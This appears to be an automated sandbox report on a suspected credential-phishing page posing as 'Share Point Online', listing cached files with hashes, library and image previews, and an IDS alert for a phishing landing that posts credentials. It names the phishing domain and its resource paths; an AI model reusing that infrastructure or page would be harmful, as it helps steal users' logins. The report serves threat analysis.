URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwml609_bQr02xIFDYOoWz0SBQ3OQUx6?alt=proto
Preview:	ChIKBw2DqFs9GgAKBw3OQUx6GgA=

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26500)
Category:	dropped
Size (bytes):	26682
Entropy (8bit):	4.82962335901065
Encrypted:	false
SSDEEP:	192:kP6hT1bIl4w0QUmQ10PwKLaAu5CwWavpHo4O6wgLPhJVR8XD7mycP:Phal4w0QK+PwK05eavpmgP1eXD7mycP
MD5:	76F34B71FC9FB641507FF6A822CC07F5
SHA1:	73ED2F8F21CD40FB496E61306ACBB5849D4DBFF4
SHA-256:	6DEA47458A4CD7CD7312CC780A53C62E0C8B3CCC8D0B13C1AC0EA6E3DFCECEA8
SHA-512:	6C4002CE78247B50BFA835A098980AF340E4E9F05F7097C1E83301289051CE1282E647ABAB87DB28A32FBFE0263C7318D2444B7D57875873908D6D5ED2AF882F
Malicious:	false
Reputation:	low
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa.fa-glass:before{content:"\f000"}.fa.fa-meetup{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-star-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-star-o:before{content:"\f005"}.fa.fa-close:before,.fa.fa-remove:before{content:"\f00d"}.fa.fa-gear:before{content:"\f013"}.fa.fa-trash-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-trash-o:before{content:"\f2ed"}.fa.fa-file-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-o:before{content:"\f15b"}.fa.fa-clock-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-clock-o:before{content:"\f017"}.fa.fa-arrow-circle-o-down{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arrow-circle-o-down:before{content:"\f358"}.fa.fa-arrow-circle-o-up{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arro

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1280 x 1280, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	66743
Entropy (8bit):	7.712342056984168
Encrypted:	false
SSDEEP:	1536:FxqKcVqezl0vLoYxEuKoYk5LHjGkT3b1mQOEj0+R+EH:FsK2qezl0zoYxEuKo7CYrOb+Rb
MD5:	DCE2F2B0E50CB1DBB0246D152791CB46
SHA1:	D0A69C159304EDC08DB005163E7A0DAF5A1E98A6
SHA-256:	ACF087C1757F08B0CFD53D59066544D7EF0BFCC50999E77C5813739CD9DC1479
SHA-512:	91054B36EF1673B24E4FE3DC324CBE339F4E9EB72785A6A4C355C7B2A11A9A7C6E188FF9BF5B34FFDD2805D4BBED71EF6CA4975EE3E330FD8D8E383ED64B28EE
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................sBIT....\|.d.....pHYs............/....tEXtSoftware.www.inkscape.org..<... .IDATx...{x.u.....I.sS..9Q(..J.L&.$..V\|........#.."...Zw.eEQv.Q..U.A]9Vh..I8...H2)`....i.....).....f.y....L.pu...{n..........................................................................................................................................................................................................................................................................................................................................................................................................@Is..... mj=...X<65....U.l.b.t.U...mR...e..P.i.$.i2U..@N1.f...i.s...cf.../....2ev.`..%.\|.o...s..j..l.B....V&..s;b..Pfg......!...:..5....$.@...I0.=.lY.......a...B.4g... T.9Wif..R..o.R.t'.0...?G.9i...L...*..&..s.Vgnkhn...;p[.0.5.........$......P......^".HL.M...@.p..;04....9.&.(i....9.sK..=&.'$m........f..1..'...f2.Uww......PH....@..xq....k.2..l.Luf..s5..`.\|

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	11777
Entropy (8bit):	4.8159515725639555
Encrypted:	false
SSDEEP:	192:K2FI5vEJKnYmrDfG4RywAOT+UY/t4IdtWPtY:1nmRnAKyt48tZ
MD5:	6D1D3C4FD92B63CC534BE0EDF3AF18DC
SHA1:	5F5442FEB5BE60239F185E969C45050A7DBADE2A
SHA-256:	65ADCB045AEFB4D0028A6AF36EC9D42BBD4DAE9AFF2CF85810BB4A6F44D4B25C
SHA-512:	2D42684CF0A44E262C958172C2446974A4AE9B8D17F7208A5FCB690964EE0D56FEB157B9AB6166B8F94FBDCBA027271C36B66784655E8FD96CE0B5522FE71AA2
Malicious:	false
Reputation:	low
URL:	https://statesborozga.cfd/Proten/
Preview:	...<!doctype html>..<html lang="en">..<head>.. <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>.. <script src="https://code.jquery.com/jquery-3.1.1.min.js">.. <script src="https://code.jquery.com/jquery-3.3.1.js" integrity="sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60=" crossorigin="anonymous"></script>.. Required meta tags -->.. <meta charset="utf-8">.. <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">.... Bootstrap CSS -->.. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">.. <link href="https://fonts.googleapis.com/css?family=Yellowtail&display=swap" rel="stylesheet">.. <script src="https://kit.fontawesome.com/585b051251.js" crossorigin="anonymous"></script>.. <title>Share Point Online</title>.. <link

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 190 x 187, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	21882
Entropy (8bit):	4.268463452779894
Encrypted:	false
SSDEEP:	192:ESCkiDw7e9Mg/wio0EYm9FWyo2XdJfXoOZdEDfmiIJQdiRVi/WTanY:DBiDw7eAdq+FWyo2/fXoZbDIJ0ci/BnY
MD5:	6843A244E12FAB158AA189680B5E7049
SHA1:	0E1C691F87CC4FA35C88344974F2829C40176B70
SHA-256:	3A9B144D6482B78AFC4E0A940A1D3C22240F14FA535B808CF4DAB9635339569F
SHA-512:	145010C45B6B83EA4005EB367C0507959FF0817E482F19E9973504081ACAE1B7827CBD1172CEC7732B13F4E0CEC058271BD6700444FBCF61FB6A3C068A3744C4
Malicious:	false
Reputation:	low
URL:	https://statesborozga.cfd/Proten/images/other1.png
Preview:	.PNG........IHDR..............$.... cHRM..z&..............u0...`..:....p..Q<....sRGB.........gAMA......a.....pHYs...............:.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2020-01-18T21:59:57+05:00</xmp:CreateDate>. <

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 400x400, components 3
Category:	downloaded
Size (bytes):	30925
Entropy (8bit):	7.75667128400845
Encrypted:	false
SSDEEP:	768:nuowBuvTpjgz+wqrPZ2qh8fmyjlX6RqnxgYqwNL:nuPOpjgzPqrPZRYZGnYqYL
MD5:	BE5274AF7D8BD25B8148A190FF515399
SHA1:	B8D0850FD92EE935287E17988B89E53607808C8C
SHA-256:	26C62DBDF527B8DCBF378EA62F129CBBBA3B244730687909BA21ECD729C9D2E6
SHA-512:	64893C625BE72783088575E36EF26FF4573243F32601BDA754EDA72B7515063B5E4E4831697D16AC663529C910AE12CCD145BEC530F2A9BAE4D9324301C65667
Malicious:	false
Reputation:	low
URL:	https://statesborozga.cfd/Proten/images/adobe.jpg
Preview:	......JFIF.............C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..g........\|?....".+......_.......4...R...'..q..~...n.7...........QXJ<...=...^.V'@U..E..5....Uz........IE.PTe.}/p.y.......T.<...-T..\|...b.=.#IU..~....{O/...b..E..............X...G...?........\|......._....M..g.................T~g.......<.....T~g......3$.=._..IU.K..^.E...=.#U.._[X.R..=W...1..........QTr.\....*.7..?..6.9K..^.E.Ps.\...........%W..y...g)s[KX)<......

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 400x400, components 3
Category:	dropped
Size (bytes):	30925
Entropy (8bit):	7.75667128400845
Encrypted:	false
SSDEEP:	768:nuowBuvTpjgz+wqrPZ2qh8fmyjlX6RqnxgYqwNL:nuPOpjgzPqrPZRYZGnYqYL
MD5:	BE5274AF7D8BD25B8148A190FF515399
SHA1:	B8D0850FD92EE935287E17988B89E53607808C8C
SHA-256:	26C62DBDF527B8DCBF378EA62F129CBBBA3B244730687909BA21ECD729C9D2E6
SHA-512:	64893C625BE72783088575E36EF26FF4573243F32601BDA754EDA72B7515063B5E4E4831697D16AC663529C910AE12CCD145BEC530F2A9BAE4D9324301C65667
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..g........\|?....".+......_.......4...R...'..q..~...n.7...........QXJ<...=...^.V'@U..E..5....Uz........IE.PTe.}/p.y.......T.<...-T..\|...b.=.#IU..~....{O/...b..E..............X...G...?........\|......._....M..g.................T~g.......<.....T~g......3$.=._..IU.K..^.E...=.#U.._[X.R..=W...1..........QTr.\....*.7..?..6.9K..^.E.Ps.\...........%W..y...g)s[KX)<......

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=12, height=709, bps=0, PhotometricIntepretation=RGB, orientation=upper-left, width=1200], baseline, precision 8, 1200x646, components 3
Category:	downloaded
Size (bytes):	161118
Entropy (8bit):	7.5594351594508185
Encrypted:	false
SSDEEP:	3072:WucfAcwuKGuN2q/gSsqnk4br5XUGpppLqfmazv7l04J:OMuKbYOF355XEuAv7lnJ
MD5:	F17B5B1163EFB6D2D47DE6BAE6D3A9CD
SHA1:	6D6964B34BC44C6D2B106ADE1AE675985B96D012
SHA-256:	7829F065E0E10C8466F3D57766E0719421B7B652F6A1082F21B98702F1B28A30
SHA-512:	7C0CBEF1D3CAE66A18C74544E593803C2EEC56817E762A385D54437BC7D597B2598886B0C0EDF72C6E934E9F146CEFC89392A492DB5425A1071E61CA1F156855
Malicious:	false
Reputation:	low
URL:	https://statesborozga.cfd/Proten/images/8.jpg
Preview:	......Exif..MM.*.......................................................................................................(...........1.....".....2..........i.............$............'.......'.Adobe Photoshop CC 2015 (Windows).2020:01:21 13:41:42.............0221...................................................................r...........z.(.................................%.......H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................V...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?.......q..KJG..x.."....]..TX...[^.m...R.......X.5..j?p.A.RI%0...MN.$..@.4

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60130)
Category:	downloaded
Size (bytes):	60312
Entropy (8bit):	4.72859504417617
Encrypted:	false
SSDEEP:	768:PUh31IPiyXNq4YxBowbgJlkwF//zMQyYJYX9Bf7VSz8:PU0PxXE4YXJgndFTfy9lQQ
MD5:	A12EC7EBE75A4D59A5DD6B79E2BA2E16
SHA1:	28F5DCC595EE6D4163481EF64170180502C8629B
SHA-256:	FC5128DFDCDFA0C3A9967A6D2F19399D7BF1AAAE6AD7571B96B03915A1F30DDA
SHA-512:	28B9EA5F3F95807259C2745162424ACEECAC2556BC1AB9A3B33E4E15B54C6970A4DF4A5892FE83C1155C82CA8D93AEBB173BE32F1A7F8B9D3CE038B2DD1E6FFE
Malicious:	false
Reputation:	low
URL:	https://ka-f.fontawesome.com/releases/v5.15.4/css/free.min.css?token=585b051251
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pul

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=12, height=709, bps=0, PhotometricIntepretation=RGB, orientation=upper-left, width=1200], baseline, precision 8, 1200x646, components 3
Category:	dropped
Size (bytes):	161118
Entropy (8bit):	7.5594351594508185
Encrypted:	false
SSDEEP:	3072:WucfAcwuKGuN2q/gSsqnk4br5XUGpppLqfmazv7l04J:OMuKbYOF355XEuAv7lnJ
MD5:	F17B5B1163EFB6D2D47DE6BAE6D3A9CD
SHA1:	6D6964B34BC44C6D2B106ADE1AE675985B96D012
SHA-256:	7829F065E0E10C8466F3D57766E0719421B7B652F6A1082F21B98702F1B28A30
SHA-512:	7C0CBEF1D3CAE66A18C74544E593803C2EEC56817E762A385D54437BC7D597B2598886B0C0EDF72C6E934E9F146CEFC89392A492DB5425A1071E61CA1F156855
Malicious:	false
Reputation:	low
Preview:	......Exif..MM.*.......................................................................................................(...........1.....".....2..........i.............$............'.......'.Adobe Photoshop CC 2015 (Windows).2020:01:21 13:41:42.............0221...................................................................r...........z.(.................................%.......H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................V...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?.......q..KJG..x.."....]..TX...[^.m...R.......X.5..j?p.A.RI%0...MN.$..@.4

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	422
Entropy (8bit):	5.288029260973069
Encrypted:	false
SSDEEP:	12:UNAFWmO6ZRoMqt6p3Et//0ndNhhKayVVey90H1BGuL/6f7:RHOY7af/Lwy96DGSSf7
MD5:	7BE6170E0A828586DA13D24BD8B5DF5B
SHA1:	0B0A3446427EE7B5D707435A5910949A0CF4D33D
SHA-256:	2BC55CCCEF92CA55D0D6FA4FC66BF1064EC6B35D8BCD2B75EB561DEA0F4BBE72
SHA-512:	0AEC0CE2D1F55ECEAEDD85E70B5A4B9DF10623167B7E06C161772BC6E4088C036335FD24312E45744C9BE8A2E6EC6659301FA1B25EB2175CE83FCDBA2F945C47
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Yellowtail&display=swap
Preview:	/* latin */.@font-face {. font-family: 'Yellowtail';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/yellowtail/v22/OZpGg_pnoDtINPfRIlLohlvHwQ.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}.

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 26 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.682244426935498
Encrypted:	false
SSDEEP:	24:74yiH9yQmOntihdLl00qDeu1BcaDa0oljZG0:omOntO7v/uJDYG0
MD5:	C3FC46C5799C76F9107504028F39190F
SHA1:	519096AD3F03410CF9CE3C9B9FCCA6B439D97B23
SHA-256:	57898461712A639D119BDF88B7145919DCC8956C7A271D2E4A1084B29EAE6785
SHA-512:	DF4A0A2F78B2013035FB738BF405119B275D4CFEC31A23071EB9AF499D5F31FDC4BE22754CE791C975D7D417E908B5CAD16F962B0ADD3DFDCDE19844D74F6678
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............JL.....bKGD..............IDATH....k.A..k6.b.F1..H@...j@.aQ...(.. .. ........ .A..D...I......E......1...W...;;.Y.d.}].U5]..x"3?....!..A..y..+R2\...m.NX.=..p.0...d.^.3......J.Z.X.).....P\..x1.3.M.0....m.........F....?...n.......l.Fo)x._ R\|.s..a.T?...?.=.9.Y..u....z..\|.....Wz...h..<..P.. ...$.Y......k`/4.y/......L.C......."....U....7....G...'h.....1j1E..%t.....@..a.......b.ED-.Tn.<..o.D...o..(.{1l>........".4a.:k.I./.7t./.Q-'..>.. ......'3eb..d.@=4...C....A...;..N.X3.(.......,v...+...S...W..l...@,...j.).u<..@u..0...V&.b.yp.....0..o.?..V..B =.~&m"r(...6;EP.T.......h.m".[f.U)\|t..2.Q.....g.cP.W...D..[.O>..d;.yI.{/..#v.._..$.Q.......t\E..5i.q._.."/n...v.w..Uo ...#..S....^.....F..+._??.r.......IEND.B`.

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1280 x 1280, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	66743
Entropy (8bit):	7.712342056984168
Encrypted:	false
SSDEEP:	1536:FxqKcVqezl0vLoYxEuKoYk5LHjGkT3b1mQOEj0+R+EH:FsK2qezl0zoYxEuKo7CYrOb+Rb
MD5:	DCE2F2B0E50CB1DBB0246D152791CB46
SHA1:	D0A69C159304EDC08DB005163E7A0DAF5A1E98A6
SHA-256:	ACF087C1757F08B0CFD53D59066544D7EF0BFCC50999E77C5813739CD9DC1479
SHA-512:	91054B36EF1673B24E4FE3DC324CBE339F4E9EB72785A6A4C355C7B2A11A9A7C6E188FF9BF5B34FFDD2805D4BBED71EF6CA4975EE3E330FD8D8E383ED64B28EE
Malicious:	false
Reputation:	low
URL:	https://statesborozga.cfd/Proten/images/gmail.png
Preview:	.PNG........IHDR.....................sBIT....\|.d.....pHYs............/....tEXtSoftware.www.inkscape.org..<... .IDATx...{x.u.....I.sS..9Q(..J.L&.$..V\|........#.."...Zw.eEQv.Q..U.A]9Vh..I8...H2)`....i.....).....f.y....L.pu...{n..........................................................................................................................................................................................................................................................................................................................................................................................................@Is..... mj=...X<65....U.l.b.t.U...mR...e..P.i.$.i2U..@N1.f...i.s...cf.../....2ev.`..%.\|.o...s..j..l.B....V&..s;b..Pfg......!...:..5....$.@...I0.=.lY.......a...B.4g... T.9Wif..R..o.R.t'.0...?G.9i...L...*..&..s.Vgnkhn...;p[.0.5.........$......P......^".HL.M...@.p..;04....9.&.(i....9.sK..=&.'$m........f..1..'...f2.Uww......PH....@..xq....k.2..l.Luf..s5..`.\|

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 187 x 188, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18025
Entropy (8bit):	3.011161251318808
Encrypted:	false
SSDEEP:	96:2S+WvkiqJq6Uq7NXrNG+GHhsc5yeFZV9D2Ydcx/NTV0K0VFDsCmm:2SJkiOq6Uq75shDs1kFP
MD5:	FE22440D79FFA34950F512EF4A718B2A
SHA1:	0E147E59544EE6580D3095353D4420849FA5EB8A
SHA-256:	A2F26B68A6C8810C1AEB4048C938F835A86BA83756A7A440F989B967E78F3BA8
SHA-512:	64218ECD4140DC05E50EB7BA4C9813794B8B5A4310C8308244205BA6ADA8EE7C2D1840121730A00800E41775241D8AFA02125A966064CD0EB2CC7D3E4605B81C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR............. .......pHYs...............<eiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2020-01-18T21:49:38+05:00</xmp:CreateDate>. <xmp:MetadataDate>2020-01-21T14:30:14+05:00</xmp:MetadataDate>. <x

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26500)
Category:	downloaded
Size (bytes):	26682
Entropy (8bit):	4.82962335901065
Encrypted:	false
SSDEEP:	192:kP6hT1bIl4w0QUmQ10PwKLaAu5CwWavpHo4O6wgLPhJVR8XD7mycP:Phal4w0QK+PwK05eavpmgP1eXD7mycP
MD5:	76F34B71FC9FB641507FF6A822CC07F5
SHA1:	73ED2F8F21CD40FB496E61306ACBB5849D4DBFF4
SHA-256:	6DEA47458A4CD7CD7312CC780A53C62E0C8B3CCC8D0B13C1AC0EA6E3DFCECEA8
SHA-512:	6C4002CE78247B50BFA835A098980AF340E4E9F05F7097C1E83301289051CE1282E647ABAB87DB28A32FBFE0263C7318D2444B7D57875873908D6D5ED2AF882F
Malicious:	false
Reputation:	low
URL:	https://ka-f.fontawesome.com/releases/v5.15.4/css/free-v4-shims.min.css?token=585b051251
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa.fa-glass:before{content:"\f000"}.fa.fa-meetup{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-star-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-star-o:before{content:"\f005"}.fa.fa-close:before,.fa.fa-remove:before{content:"\f00d"}.fa.fa-gear:before{content:"\f013"}.fa.fa-trash-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-trash-o:before{content:"\f2ed"}.fa.fa-file-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-o:before{content:"\f15b"}.fa.fa-clock-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-clock-o:before{content:"\f017"}.fa.fa-arrow-circle-o-down{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arrow-circle-o-down:before{content:"\f358"}.fa.fa-arrow-circle-o-up{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arro

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/18/24-00:28:00.963741	TCP	2032515	ET CURRENT_EVENTS Generic Multibrand Ajax XHR CredPost Phishing Landing	443	49735	172.67.137.170	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 18, 2024 00:27:52.147902012 CEST	49675	443	192.168.2.4	173.222.162.32
